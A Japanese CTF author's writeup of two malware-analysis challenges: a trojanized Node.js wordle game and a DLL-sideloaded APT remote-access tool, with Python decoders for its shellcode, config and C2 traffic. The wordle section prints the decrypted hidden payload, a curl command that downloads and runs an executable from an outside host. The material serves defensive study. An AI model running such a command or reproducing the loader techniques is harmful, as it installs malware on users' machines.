皆様こんにちは、@strinsert1Na という人です。本ブログは NFLaboratories Advent Calendar 2023 12日目の記事となります。
(前日の OSED プロの記事がプロすぎて書くのがつらいです。。。)
adventar.org
筆者が書くネタは、先月弊社主催で行ったCTFライクなセキュリティイベント「NFLabs. Cybersecurity Challenge for Students 2023」で出題された問題の作問者Writeupとなります。参加していない方にとっては「問題知らないし関係ないかなー」と思うかもしれませんが、筆者が作成した問題は「国家APTが使うRATの特定(OSINT) -> 解析 -> データ復号」というマルウェア解析の実務に即したものとしたつもりです。チャレンジに参加された方以外の方でも、マルウェア解析の学習をしている方や同じようなインシデントに遭遇し通信データの復号が必要となった方の参考になれば幸いです。
はじめに
「NFLabs. Cybersecurity Challenge for Students 2023」は2023/11/22 ~ 11/27 の5日間にかけて行われた、学生限定のCTFライクなセキュリティイベントです。
イベントは NFLabs. の社員やインターン生が作成した25問、6ジャンル(OSINT, DFIR, Web, Malware, Dev, Pentest)の問題に対して個人戦で挑んでいただく形式となっており、約50名の学生さんが参加してくれました。たくさんのご参加ありがとうございました!!!(落ちてしまった方はすみません。Pentest 問のリソース限界の都合もあり定員が50から増やせませんでした。)
筆者は本イベントの Malware ジャンル2問を作問するとともに、Malware ジャンル5問のレビューと全体難易度調整などを行っていました。実際に作った問題はMalware問で一番簡単な問題 wordleと最も難しい問題 abyss だったのですが、コンテストが終わってみると solve は以下のようになりました。
......はい、難しく作りすぎてしまいました。たいへん申し訳ございません。Malware というジャンルの都合上 SECCON for Beginners のHardより読むスコープが大きいかなと思ってはいたのですが、軽く考えすぎていました。特に abyss については本物の国家APT検体をOSINTして解析レポートを見つけてデータ復号する問題で5日あれば読める量かなと見積もっていたのですが、その他ジャンルも骨のある問題が多く結果として 0 solve という大罪を犯してしまいました。もし次があるときは、難易度調整をもっと頑張りたいと思います。それでは、ここから問題の Writeup を書いていきます!
wordle (9 solves)
背景と概要
問題設定としては、「従業員が公式以外のWebサイトからソフトウェアを落として実行させたら、偽インストーラに引っかかって正規ソフトウェアと一緒にアドウェアもついてきちゃった!!」というものです。SOCに勤めていると遭遇するアラート TOP3 には入るメジャーな事例なのではないかなと思います。
しかし、偽インストーラの解析となると easy の範囲を超えてしまうので、今回は Node.js で書いたコードを nexe でコンパイルしたものを使用しました。きちんと表層解析ができれば、文字列抽出と簡単なコーディングだけで solve できるでしょう。
余談ですが、作問当初は問題文に表層情報の確認へ誘導するようなヒントは存在しませんでした。しかし社内トライアルで「これだと easy の範囲超えてる」という反応が大量に届いたため、問題文にヒントを載せてなるべく solve 数が伸びるような工夫をしてみました。結果的にこれでも難易度が高かったようなので修正して正解だったなと思います。
想定解法
問題ファイルとしては "wordle.exe" の1つのみで、実行してみると wordle ゲームが遊べます。
......が、表面では特に怪しい挙動は見られません。なので、リバースエンジニアリングをして中で何が行われているかを解析するアプローチで進めることになると思います。
Phase 1: ファイルの調査
何はともあれまずは表層解析ということで、wordle.exe の表層情報を確認します。筆者は PEStudio を好んで使用します。
https://www.winitor.com/
サッと表層解析をしてみると、debug の項目に以下のような特徴的な文字列が見つかります。
C:\Users\analyst\.nexe\14.5.0\out\Release\node.pdb
検索すると、どうやら nexe というツールによって node で書かれたコードを実行ファイル化したもののようです。
github.com
decompile できないかということで "nexe decompile" などで検索すると、以下の issue が見つかり中にこんなコメントがあることが確認できます。
github.com
At build time your application's dependencies (on the build machine) are combined into an uncompressed blob and appended to the end of a mostly normal node.js binary.
なるほど、どうやら元のコードはexeへのbuild時、ファイルの末尾に生で追加されるようです。strings で簡単に確認してみましょう。
$ strings wordle.exe !This program cannot be run in DOS mode. Rich .text `.rdata (snip.) const wordsJSON = require("./words.json"); let puzzle = ""; const wordlePrompt = { type: "text", name: "word", message: "Enter a 5 word...", validate: value => value.length != 5 ? 'Word must be 5 letters' : true async function check(guess) { let results = []; // loop over each letter in the word for (let i in guess) { let attempt = { letter: guess[i], color: "bgGrey" }; // check if the letter at the specified index in the guess word exactly // matches the letter at the specified index in the puzzle if (attempt.letter === puzzle[i]) { process.stdout.write(chalk.white.bgGreen.bold(` ${guess[i]} \t`)); (snip.) "Woman", "World", "Youth" ]<nexe~~sentinel>
たしかに node のコードがそのまま混入しているようです。それではここから、wordle のコードに該当しそうな部分を探します。"WINNER!" などが特徴的な文字列になっているので、試しにそれで文字列検索をしてみると以下の部分のコードブロックが引っかかります。
play 関数は正規のコードに見えますが、上にある setup 関数は、文字列が難読化されているのに加えて、exec() というシェルの実行関数も呼ばれていて非常に怪しいです。なので、exec の引数に渡されている jA38Cap 変数の中身が何になるのかを調査しましょう。
Phase 2: 文字列の復号
疑わしい部分のコードだけを抜き出すと、以下の部分になります。
let G8o6nft = ""; for (let i=97;i < wordsJSON.length; i+=99){ G8o6nft += wordsJSON[i] } const zWpO09t = new Date(); if (zWpO09t.getTimezoneOffset() != 480){ return 0; } const Vgf7a0K = "KtCW/i6m2+iKv0hxEa9r17xeTdvTvyTlwlayqWKHBX9I3AQHS8G/ajM0zw1accMSI+2EibAsVvf8Mh5aecXj5y/8zy0OF6Ox0rxFRI+ixwfUnx/otd28s8YOaWKNTHLVUFK/LHTjgPNv4ZL85AlrmYvC1qX9zgcStHzI65O34ZCyk0pAZx1vtCFi1fSJ4f2SA9YW6250gfk/6pCpOCaw9A=="; const jMnypi8 = new Blowfish(G8o6nft+Buffer.from((zWpO09t.getTimezoneOffset() ^ 3715).toString(10), 'hex').toString(), Blowfish.MODE.ECB, Blowfish.PADDING.NULL); const jA38Cap = jMnypi8.decode(Buffer.from(Vgf7a0K, 'base64'), Blowfish.UINT8_ARRAY); exec(jA38Cap);
getTimezoneOffset() が 480 でないと動作しないので、特定の環境のみで exec が実行されるようですね。そして、wordsJSON は wordle で使用される大量の wordlist であり、wordlist と getTimezoneOffset の結果から鍵を生成して Blowfishによって復号をしているコードになっています。ここまできたら、後は solver を書くだけですね。node でも python でも、書きなれた言語でサクッと書きましょう。筆者は python を使いました。
import base64 import binascii from Crypto.Cipher import Blowfish wordsJSON = [ "Abuse", "Adult", "Agent", "Anger", "Apple", "Award", "Basis", "Beach", "Birth", "Block", "Blood", "Board", "Brain", "Bread", "Break", "Brown", "Buyer", "Cause", "Chain", "Chair", "Chest", "Chief", "Child", "China", "Claim", "Class", "Clock", "Coach", "Coast", "Court", "Cover", "Cream", "Crime", "Cross", "Crowd", "Crown", "Cycle", "Dance", "Death", "Depth", "Doubt", "Draft", "Drama", "Dream", "Dress", "Drink", "Drive", "Earth", "Enemy", "Entry", "Error", "Event", "Faith", "Fault", "Field", "Fight", "Final", "Floor", "Focus", "Force", "Frame", "Frank", "Front", "Fruit", "Glass", "Grant", "Grass", "Green", "Group", "Guide", "Heart", "Henry", "Horse", "Hotel", "House", "Image", "Index", "Input", "Issue", "Japan", "Jones", "Judge", "Knife", "Laura", "Layer", "Level", "Lewis", "Light", "Limit", "Lunch", "Major", "March", "Match", "Metal", "Model", "Money", "Month", "Motor", "Mouth", "Music", "Night", "Noise", "North", "Novel", "Nurse", "Offer", "Order", "Other", "Owner", "Panel", "Paper", "Party", "Peace", "Peter", "Phase", "Phone", "Piece", "Pilot", "Pitch", "Place", "Plane", "Plant", "Plate", "Point", "Pound", "Power", "Press", "Price", "Pride", "Prize", "Proof", "Queen", "Radio", "Range", "Ratio", "Reply", "Right", "River", "Round", "Route", "Rugby", "Scale", "Scene", "Scope", "Score", "Sense", "Shape", "Share", "Sheep", "Sheet", "Shift", "Shirt", "Shock", "Sight", "Simon", "Skill", "Sleep", "Smile", "Smith", "Smoke", "Sound", "South", "Space", "Speed", "Spite", "Sport", "Squad", "Staff", "Stage", "Start", "State", "Steam", "Steel", "Stock", "Stone", "Store", "Study", "Stuff", "Style", "Sugar", "Table", "Taste", "Terry", "Theme", "Thing", "Title", "Total", "Touch", "Tower", "Track", "Trade", "Train", "Trend", "Trial", "Trust", "Truth", "Uncle", "Union", "Unity", "Value", "Video", "Visit", "Voice", "Waste", "Watch", "Water", "While", "White", "Whole", "Woman", "World", "Youth" ] G8o6nft = ""; for i in range(97, len(wordsJSON), 99): G8o6nft += wordsJSON[i] G8o6nft = G8o6nft.encode() + binascii.a2b_hex(str(480^ 3715)) Vgf7a0K = "KtCW/i6m2+iKv0hxEa9r17xeTdvTvyTlwlayqWKHBX9I3AQHS8G/ajM0zw1accMSI+2EibAsVvf8Mh5aecXj5y/8zy0OF6Ox0rxFRI+ixwfUnx/otd28s8YOaWKNTHLVUFK/LHTjgPNv4ZL85AlrmYvC1qX9zgcStHzI65O34ZCyk0pAZx1vtCFi1fSJ4f2SA9YW6250gfk/6pCpOCaw9A==" jMnypi8 = Blowfish.new(G8o6nft, Blowfish.MODE_ECB) print(jMnypi8.decrypt(base64.b64decode(Vgf7a0K)))
$ python3 wordle.py b"cmd.exe /c curl.exe -H 'FLAG: NFLABS{Plz_DL_g4m35_fr0m_4_l3g1t1m4t3_w3bs1t35!!}' http://192.0.2.1/m.exe -o C:\\Windows\\Temp\\m.exe && C:\\Windows\\Temp\\m.exe\x00\x00\x00\x00\x00\x00\x00"
結果を確認すると、何やら追加で実行ファイルをダウンロードして実行している文字列が現れましたね。これが正規のゲームに混入した悪性コードということでしょう。FLAG header に書かれている文字がこの Challenge のFLAGです。
FLAG
NFLABS{Plz_DL_g4m35_fr0m_4_l3g1t1m4t3_w3bs1t35!!}
abyss (0 solve)
背景と概要
問題設定としては「ネットワーク境界でアラート上がってインシデントが発覚したけどエンドポイントログもないし、通信データ(pcap)も検知された前後の数時間しかないからセッションも完全なものじゃないんだけどどうにか影響範囲を見てくれません?」というオーソドックスなものです。え、エンドポイントログもFull pcapも取得していないオーソドックスな環境あるわけないだろって?ハハハ......。
それはさておき、問題ではインシデントに関連すると思われる悪性被疑ファイル群(abyss.zip)と通信データ(suspicious.pcapng)が渡されます。ある程度予想できると思いますが、悪性被疑ファイルからマルウェアの通信に関わるコードを読み、通信データから送信されたデータを復号するのがゴールです。(本当はディスクイメージ渡して悪性ファイルの特定から入ってもらおうかなと考えていましたがそうしなくてよかったです。)
abyss.zip の中には
- abyss.exe
- abyss.cnf
- abyss.min
- VERSION.dll
の4つのファイルが入っています。
ここで abyss.exe のハッシュ値を VirusTotal で調査すると notifu.exe という署名付きの正規実行ファイルであることがわかります。よって、abyss.exe から side loading で呼ばれる VERSION.dll が悪性ファイルだと当たりをつけて、調査を開始する流れとなるでしょう。そして、ここからさらに一歩調査をすすめてみます。VirusTotal の name を確認すると、本実行ファイルとは深い関連がなさそうな "msbtc.exe" というファイル名があります。
このような事例は「攻撃者が正規のファイル名とは違う名称で攻撃に使用した結果、被害にあった組織がファイルをそのままVirusTotalに投稿したらそのファイル名がデジタルタトゥーとして残ってしまった」というケースでよく見られます。面白そうなので、ファイル名でググってみましょう。すると、検索上位にLACさんによるレポートが見つかると思います。RatelS という国家APTが使うマルウェアのレポートのようですが、通信の様子を含めて本インシデントに酷似しています。
OSINT で見つけたレポートをもとに進めていくと表層情報は違いますが、通信方式は同じであるためファイル送信部分を丁寧に読んでいくとデータ構造と暗号化方式がわかり、pcapのデータを復号してみると flag が得られる。。。という道筋で設計した問題でした。
なお、本問題を単体で解くには難易度がかなり高めだと思うので、3日目時点で solve が 0 だった場合以下の文章をヒントととして公開する手筈となっていました。
ヒント1: このマルウェアは暗号化が施されていてファイルの状態では何もわかりませんが、メモリに展開されるデータに本体が隠されているようです。何とか取り出せないでしょうか?
ヒント2: このマルウェアの亜種と思われる存在はすでにレポートされていますが、もしかしたら別名で他の組織もレポートしているかもしれません。抽出したデータの表層情報を調査すると、もっと解析の補助となるようなレポートが見つかるかもしれません。。。
後から振り返ってみると「国家APTが扱うRATのデータ復号は難易度高すぎたかなぁ」とは思うのですが、やはりマルウェア解析というのはOSINT, 表層, 動的, 静的解析すべてを総動員して取り組むというのが最も実務に即しているというのは紛れもない事実なので、こちらの路線に振り切った作問にしました("解析レポートを後追いするだけでは力にならない"派もいらっしゃいますが、筆者は"OSINTしてなんぼ"派です。)。 なお、DLL の side loading で使われる DLL やshellcodeは簡単な表層解析でOSINTされないように筆者が作成したものですが、抽出されたファイルは危険な部分のコードを取り除いた RatelS のコードそのものです。この問題が解けた方は標的型マルウェアを解析できるスーパーマンなのでぜひ自慢してください。では、ここからは Writeup となります。
想定解法
問題名の "abyss" は、難解なマルウェアを少しずつ紐解きながら奥深い部分に辿ることをイメージして命名しました。筆者の感覚では、この問題を解くまでに以下の5階層を下る必要があると思っています。なお本問題は 0 solve ではありましたが、一人 OSINT とDLLデータの復号までできてほぼ深階5層まで到達している方がいました。本当にすごいです。
深階1層: DLL と .min ファイルの調査
abyss.exe は署名付きの正規実行ファイルですが、実行ファイルと同じディレクトリにロードするDLLと同名のDLLが存在する場合、同ディレクトリのDLLを優先的にロードします。これは DLL sideloading と呼ばれる脆弱性であり、署名付き実行ファイルのプロセス内部で悪性動作を行えるということからも中国系APTが検知回避目的で好んで使用するTTPです。
なので、 Ghidra を使って sideloading される VERSION.dll の調査を開始します。DLL は Exports に存在する関数から呼ばれるため、悪性挙動の被疑関数は以下の6つのうちのいずれかとなります。
しかし、VerQueryValueW 以外は関数の実態がほぼ存在していないため、VerQueryValueW が悪性挙動の起点である可能性が非常に高いです。Ghidra からコードを読むと、まず前半で [実行されたファイル名].min のデータを取得し、その後 FUN_180001000 という関数で何かしらの処理をした後そのデータの先頭を call していることが確認できます。
FUN_180001000 の処理は、0x100 bytes の配列を用意して state の box を作成しているところを見れば RC4 だとわかるでしょう。後は鍵ですが処理を追えば第三引数だとわかるので、上の画像の \xb1\x2a\xf1\x41\xb1\x2a\xf1\x41\xb1\x2a\xf1\x41\xb1\x2a\xf1\x41 部分が該当するとわかります。
わからない人は、以下のブログを参考にして見た瞬間わかるようにしてください。
yasulib.hatenablog.jp
この結果をもとに abyss.min をデコードしてみます。
from Crypto.Cipher import ARC4 f = open("abyss.min", "rb") data = f.read() f.close() rc4_key = b"\xb1\x2a\xf1\x41\xb1\x2a\xf1\x41\xb1\x2a\xf1\x41\xb1\x2a\xf1\x41" ci = ARC4.new(rc4_key) dec = ci.decrypt(data) f = open("abyss.min.dec", "wb") f.write(dec) f.close()
デコードしたデータは 90 e8 ... と意味がないデータに見えますが、これはアセンブリに直すと nop, call ... と続いている実行コード、通称 shellcode と呼ばれるものです。
よって、マルウェアの挙動を知るためには shellcode を解析する必要があります。
深階2層: shellcode の分析
shellcode も Ghidra で開いて分析します。shellcode は FUN_0009ea27 への call から始まっているようです。
前半は何やらメモリにロードされている Windows API のアドレスを探し、その後復号のような処理を行ってデータを成型しているように見えます。piVar11 を追うとこれは FUN_0009ea27 を call した際の return アドレスが入っていることがわかります。つまり、call 命令の下にあった 4bytes (\x25\x25\x25\x25) を初期ステートとした少し複雑な single byte XOR を piVar14 に対して行った後、pcVar23 のアドレスに入っている関数を実行してデータを変形していますね。Ghidra のデコンパイルには失敗していますが、左側のアセンブリを見るときちんと第一引数に 0x2, 第四引数に piVar14 が使われていることがわかります。そして、 piVar14 は "piVar11 + 3 * 4" なので call 命令の 12byte 下を見ています。つまり、先頭から数えて 18 bytes 目が復号対象のデータとなりますね。
ここで課題となるのは、pcVar23 で呼ばれる関数のアドレスが何かということです。結論から述べると ROR12 というハッシュ値を用いた API hashing という技術によって使用する Windows API のアドレスを解決していますが、これを1からやろうとするとWindows APIの文字列を ROR12 に変換したデータベースを作成しなければならず時間がかかってしまうので動かして解決させましょう。
サクッと動かす分には BlobRunner というツールが便利なので、BlobRunner で shellcode をメモリに乗せ、pcVar23 に該当するアドレスを読みに行きます。第一引数に先ほどデコードした shellcode (abyss.min.dec) を指定して実行しましょう。
> blobrunner64.exe abyss.min.dec __________.__ ___. __________ \______ \ | ____\_ |__\______ \__ __ ____ ____ ___________ | | _/ | / _ \| __ \| _/ | \/ \ / \_/ __ \_ __ \ | | \ |_( <_> ) \_\ \ | \ | / | \ | \ ___/| | \/ |______ /____/\____/|___ /____|_ /____/|___| /___| /\___ >__| \/ \/ \/ \/ \/ \/ 0.0.5 [*] Using file: abyss.min.dec [*] Reading file... [*] File Size: 0x9ef43 [*] Allocating Memory....Allocated! [*] |-Base: 0x9fa10000 [*] Copying input data... [*] Using offset: 0x00000000 [*] Creating Suspended Thread... [*] Created Thread: [9360] [*] Thread Entry: 0x000000009fa10000 [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.
blobrunner64.exe のメモリ 0x000000009fa10000 に配置したとのことなので、好きなデバッガでアタッチして breakpoint を張ります。自分は IDA Pro を使用しますが、x64dbg など各自好きなデバッガを使用してください。あとは blobrunner64.exe を起動したコンソールでエンターキーを押すことでプログラムがそこで止まります。
それでは、pcVar23 に該当するアドレスを見に行きます。すると、RtlDecompressBuffer という Windows API が呼ばれていることがわかりました。
microsoft のドキュメントを参照すると、RtlDecompressBuffer は圧縮されたデータを解凍する際に使用される Windows API で、第一引数の値によって CompressionFormat が決まっています。今回は ecx の値が 2 なので LZNT1 でデータが圧縮されているようです。
より詳細を知りたい場合はここから深い解析が必要となりますが、現時点で shellcode を解析してわかったことをまとめると、抽出された abyss.min のデータは以下のようになっていると考察できます。
offset | size | desc. | |
---|---|---|---|
0 | 1 | 0x90 固定 (nop) | |
1 | 5 | 0xe8 (call)+ (圧縮データのサイズ + 12) | |
6 | 4 | XORで使用する鍵の初期ステート | |
10 | 4 | (実行ファイルの image base。ここから解析を進めるとわかる。) | |
14 | 4 | 圧縮データのサイズ | |
18 | 圧縮データのサイズ | 圧縮データ(lznt1) | |
圧縮データのサイズ + 18 | - | 解凍 + 復号 + Reflective Execution を行う shellcode |
ここまでくるとデータの抽出コードが書けるので簡単に書いて抽出してみましょう。おさらいすると、やることは 「XOR を使ったsingle byte XOR -> lznt1 解凍」の2段階です。
import lznt1 f = open("abyss.min.dec", "rb") data = f.read() f.close() output = bytearray([]) key = int.from_bytes(data[6:10], 'little') size = int.from_bytes(data[0xe:0x11], 'little') for d in data[0x12:0x12+size]: key += 1 k = key & 0xff tmp = (d - k) & 0xff output.append((k + (tmp ^ k))& 0xff) dec = lznt1.decompress(output) f = open("abyss.min.decompress", "wb") f.write(dec) f.close()
実行して中を見ると、MZ header が存在しています。圧縮データの中身は実行ファイルであり、shellcode ではこれをオンメモリで実行していることがわかりました。以降、decompressed.exe にrenameして decompressed.exe の解析をしていきましょう。(余談ですが、本来のRatelS はMS-DOS, PE header が消去されており Reflective PE Loader であることがわかりにくくなっています。なので、今回のチャレンジでは Portable Executable format に成型したものを埋め込んでいます。)
深階3層: 抽出した exe ファイルと .cnf ファイルの調査
decompressed.exe も Ghidra で分析します。まず main 関数に当たる部分は FUN_140064bb0 であり、この実行ファイルが -a, -b の引数付きで実行されているかをチェックし、そうである場合はそちらの分岐へ、そうでない場合は FUN_140062ff0 という関数に移動することがわかります。
そして、FUN_140062ff0 を分析するとファイルを %LOCALAPPDATA%\ABS に移動させたり永続化を行う処理と一緒に、自分自身を -a の引数付きで実行する処理が入っていることもわかります。つまり、コードの実行順は
- 引数無し実行ルート
- -a 引数実行ルート
- -b 引数実行ルート
の順番で遷移するようです。
なので、次の -a 引数実行ルートにいくと FUN_1400620e0 という面白い関数に遭遇します。この関数では abyss.cnf というファイルを読み込み、FUN_140061680 という関数で復号しているようです。0x1a0 という値は、abyss.cnf のファイルサイズと一致しているので、復号できた場合は中身をパースしているようですね。
FUN_140061680 は軽く中身を見ると 0x100 の state を作っているところから RC4 で間違いなさそうです。鍵は、下の画像から第三引数の先頭4byteを使っていることがわかりますね。
abyss.cnf を復号してみます。
from Crypto.Cipher import ARC4 f = open("abyss.cnf", "rb") d = f.read() f.close() cipher = ARC4.new(d[:4]) dec = cipher.decrypt(d) f = open("abyss.cnf.dec", "wb") d = f.write(dec) f.close()
中身を確認すると以下のようになります。C2サーバのIPアドレス(192.168.137[.]129), ポート(0x50=80)が見えました。これで abyss.cnf はマルウェアの設定情報ファイルだったことがわかります。ここから本命となるC2サーバの通信が始まるとみて、解析を続けましょう。
深階4層: 通信フォーマットの調査とデータ復号
解析を続けると、 -a, -b いずれのルートでも呼ばれる関数 FUN_140064db0 が興味深いことがわかります。この関数では通信結果をもとにループを繰り返していますが、そこから呼ばれる FUN_14005eca0 では取得したデータのオフセット0x10先を見て処理を変更していることがわかります。
0x103 の 分岐からはメモリに実行ファイルをマッピングして fmain という Exports 関数を実行する関数( FUN_14005f0b0 )が存在します。このようなコードは、RATが内部処理で扱う典型的なコードです。この時点で、感染端末は何かしらのRATに感染してしまったため何かしらのデータが盗まれてしまったことが予想できるでしょう。また、上の画像に見える FUN_140061680 はまたRC4の処理であり、"\x11\xb4\x2a\x31" が第三引数にあることからこの4bytesを鍵にして復号できるものと思われます。
しかし、pcap を見ると与えられたC2サーバから受け取ったデータはこのようなきれいな形をしていません。なので、解析を継続してC2サーバから受け取ったデータをどう処理しているか読む必要がありますが、FUN_140064db0 で多用されている (*param_2 + 0x40) が何を指しているかわからないため、 オブジェクトとして生成されている class を引数からたどって FUN_1400627e0 を読み込みます。
読み込むと、MysslConn というclassがありそこのvtableを参照しているため vtable の先頭 0x1400e56c0 から 0x40 を足した 0x140056010 のアドレスを確認します。FUN_140056010 とあるので、この関数を解析すればよさそうです。
FUN_140056010 を読むと、先頭データが "\x03" であった場合、次の4byteに書かれた数字分それ以降のデータを FUN_1400598c0 を使って処理し、これを繰り替えしているように見えます。つまり、「0x03 + size (4bytes) + size 分暗号化されたデータ」 をひとまとまりとしたblock単位での処理です。解析するよりも、pcap のデータを見て guess したほうがはやいかもしれませんね。
offset | size | desc. | |
---|---|---|---|
0 | 4 | 00 00 80 00 固定 | |
4 | 4 | データ全体のサイズ | |
8 | 1 | 0x03 固定(ブロックの始点を指す) | |
9 | 4 | 暗号化データのサイズ | |
13 | 暗号化データのサイズ | 暗号化されたデータ | |
(以降、「0x03 + サイズ + データ」の繰り返し) |
FUN_1400598c0 はいつも通り RC4 の処理、鍵は "123412345678\x00\x00\x00\x00" とハードコードされているのがわかるので、暗号化の処理もわかります。これでデータが完全に復号できるはずです。
試しに、1つのデータで実験してみましょう。suspicious.pcapng を Wireshark から開き、「"ファイル" -> "オブジェクトをエクスポート" -> "HTTP"」の順で遷移して "すべて保存" でデータを保存します。
データはたくさん存在しますが、C2サーバから大量にレスポンスが返ってきた後の少量のレスポンス分("solve/login(113).asp%3fid=44" として保存されたファイル)を見てみましょう。
どうやら先頭13bytes分は、予想した header 通りの構成をしていそうですね。
それでは、13byte目以降のデータもRC4で復号してみましょう。
>>> from Crypto.Cipher import ARC4 >>> >>> >>> f = open(f"solve/login(113).asp%3fid=44", "rb") >>> d = f.read() >>> f.close() >>> cipher = ARC4.new(b"123412345678\x00\x00\x00\x00") >>> cipher.decrypt(d[0xd:0xd+0x14]) b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x01\x00\x00'
できました。そして 0x10(= 16) 番目のオフセットを見ると、littele endian で 0x103 が見えます。よって、C2サーバから 0x103 という命令が来て、同時に実行ファイルも被害者端末に送信され実行されたとみてよさそうですね。つまり、これ以前にC2サーバから大量に送られてきたレスポンスは、実行ファイルだとみていいでしょう。python で復号してみます。(一度 "123412345678\x00\x00\x00\x00" の鍵で復号した後、0x103 の命令は "\x11\xb4\x2a\x31" の鍵でも復号する必要があることを注意してください。 )
from Crypto.Cipher import ARC4 f = open("solve/login(23).asp%3fid=44", "rb") tmp_data = f.read()[0xd:] f.close() for i in range(24, 113): f = open(f"solve/login({i}).asp%3fid=44", "rb") d = f.read() tmp_data += d[8:] f.close() cipher = ARC4.new(b"123412345678\x00\x00\x00\x00") dec = cipher.decrypt(tmp_data) cipher2 = ARC4.new(b"\x11\xb4\x2a\x31") raw = cipher2.decrypt(dec[0x20:]) f = open("0x103.bin", "wb") f.write(raw) f.close()
復号されたデータを見ると、無事にMZとPEヘッダーが確認できました。0x103.bin を 0x103.exe と rename してデータの中身を確認します。
深階5層: 追加でダウンロードされた PE ファイルの調査とFLAGデータ復号
0x103.exe がC2サーバから送信された後、今度は感染端末(.131)からC2サーバに対して大容量かつ大量のPOSTリクエストが送信されています。0x103.exe のダウンロード時に大量のレスポンスが残っていることを考えると、大量のPOSTはC2サーバに何かしらのデータをアップロードしている可能性がありそうです。試しに、大量にデータが送られる直前のC2サーバからのレスポンス("solve/login(131).asp%3fid=44")を見てみましょう。
>>> f = open(f"solve/login(131).asp%3fid=44", "rb") >>> d = f.read() >>> f.close() >>> cipher = ARC4.new(b"123412345678\x00\x00\x00\x00") >>> cipher.decrypt(d[0xd:0xd+0x14]) b'\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\t\x02\x00\x00'
レスポンスのオフセット 0x10 を確認すると、0x209 が確認できます。つまり、C2サーバから 0x209 というコマンドが送信されてきているようです。これが 0x103.exe にあるのではないかと予想してみてみましょう。Exports にある fmain 関数から見ていくと、FUN_1800029d0 にそれっぽい関数が見つかります。
0x209 のコマンドでは FUN_180003c30 が呼ばれていますね。さらに FUN_180003c30 を確認すると、ReadFile といったWindows APIも呼ばれていることがわかるため、感染端末のデータをC2サーバにアップロードする機能とみて間違いなさそうです。そして、コマンドで呼ばれたデータはこれまでのデータと同じ方法で処理されるため暗号化手法などに変更はありません。しかし実行ファイルとは異なり、ファイルのアップロード機能は 0x2000 のブロック単位でデータが読み込まれ(ReadFile APIの第三引数)て処理されていることには留意しておきましょう。
試しに、C2サーバにPOSTリクエストを送信している巨大なデータの先頭のファイル("solve/login(132).asp%3fid=44")だけ復号してみましょう。
>>> from Crypto.Cipher import ARC4 >>> >>> >>> tmp_data = b"" >>> f = open(f"solve/login(132).asp%3fid=44", "rb") >>> d = f.read() >>> f.close() >>> cipher = ARC4.new(b"123412345678\x00\x00\x00\x00") >>> cipher.decrypt(d[0xd:0xd+0x2000])[:0x20] b'PK\x03\x04\x14\x00\x00\x00\x08\x00|\x9f4W\xf32\xc6%\x0b1\x02\x00y1\x02\x00\n\x00\x00\x00my'
zip の magic number (PK) が確認できました。あとは、block 単位でRC4することにさえ注意して復号すれば、zip fileが復号できそうです。solver を書きます。
from Crypto.Cipher import ARC4 tmp_data = b"" for i in range(132, 150): f = open(f"solve/login({i}).asp%3fid=44", "rb") d = f.read() tmp_data += d[8:] f.close() i = 0 raw = b"" while(len(tmp_data) > i): if tmp_data[i] != 0x3: break block_size = int.from_bytes(tmp_data[i+1:i+5], 'little') cipher = ARC4.new(b"123412345678\x00\x00\x00\x00") raw += cipher.decrypt(tmp_data[i+5:i+5+block_size]) i += block_size + 5 f = open("download.zip", "wb") f.write(raw) f.close()
zip ファイルの中身を確認すると漏洩したファイルを発見、flag もありました。長い長い道筋でしたがGGですね。
FLAG
NFLABS{CN_APT_l0v3s5_DLL_s1d3l0ad1ng}
おわりに
以上、Malware ジャンルで筆者が作問した問題の Writeup でした。かなり丁寧に書いたつもりではあるので、本競技に参加していなかった方もマルウェア解析で使うツールや視点の一参考になるのではないかなと思います。参加してくれた皆さまにつきましては、難易度調整ミスってしまい申し訳ありません。
最後になりますが、改めて参加してくれた皆さま本当にありがとうございました。Writeup の寄稿も感謝です。筆者が認識できたものはすべて拝見させていただいていますが、どれもクオリティが高く、作問者視点からも新たな知見が得られたいへん勉強になっています。
qiita.com
qiita.com
rndt.pages.dev
zenn.dev
01futabato10.hateblo.jp
反響が大きければまた来年もやるかもしれないので、ポジティブなコメントや要望(今度は学生限定をはずして! 定員増やして!! など)を残していただけると幸いです。また、イベントに参加してみたかったけれども今回遠慮してしまった方がいれば、ぜひ次回ご応募ください。偽物ではあるにせよ擬似マルウェアを解析するということで、本チャレンジでは初学者に向けた分析用環境のつくり方なども用意しています。セキュリティイベントに参加するためのとっかかりとして、活用していただけるとうれしいです。
NFLaboratories Advent Calendar 2023 12日目の記事は以上となります。13日目はなんと弊社のCTOが書く超ありがたい話なので乞うご期待ください。それでは~👋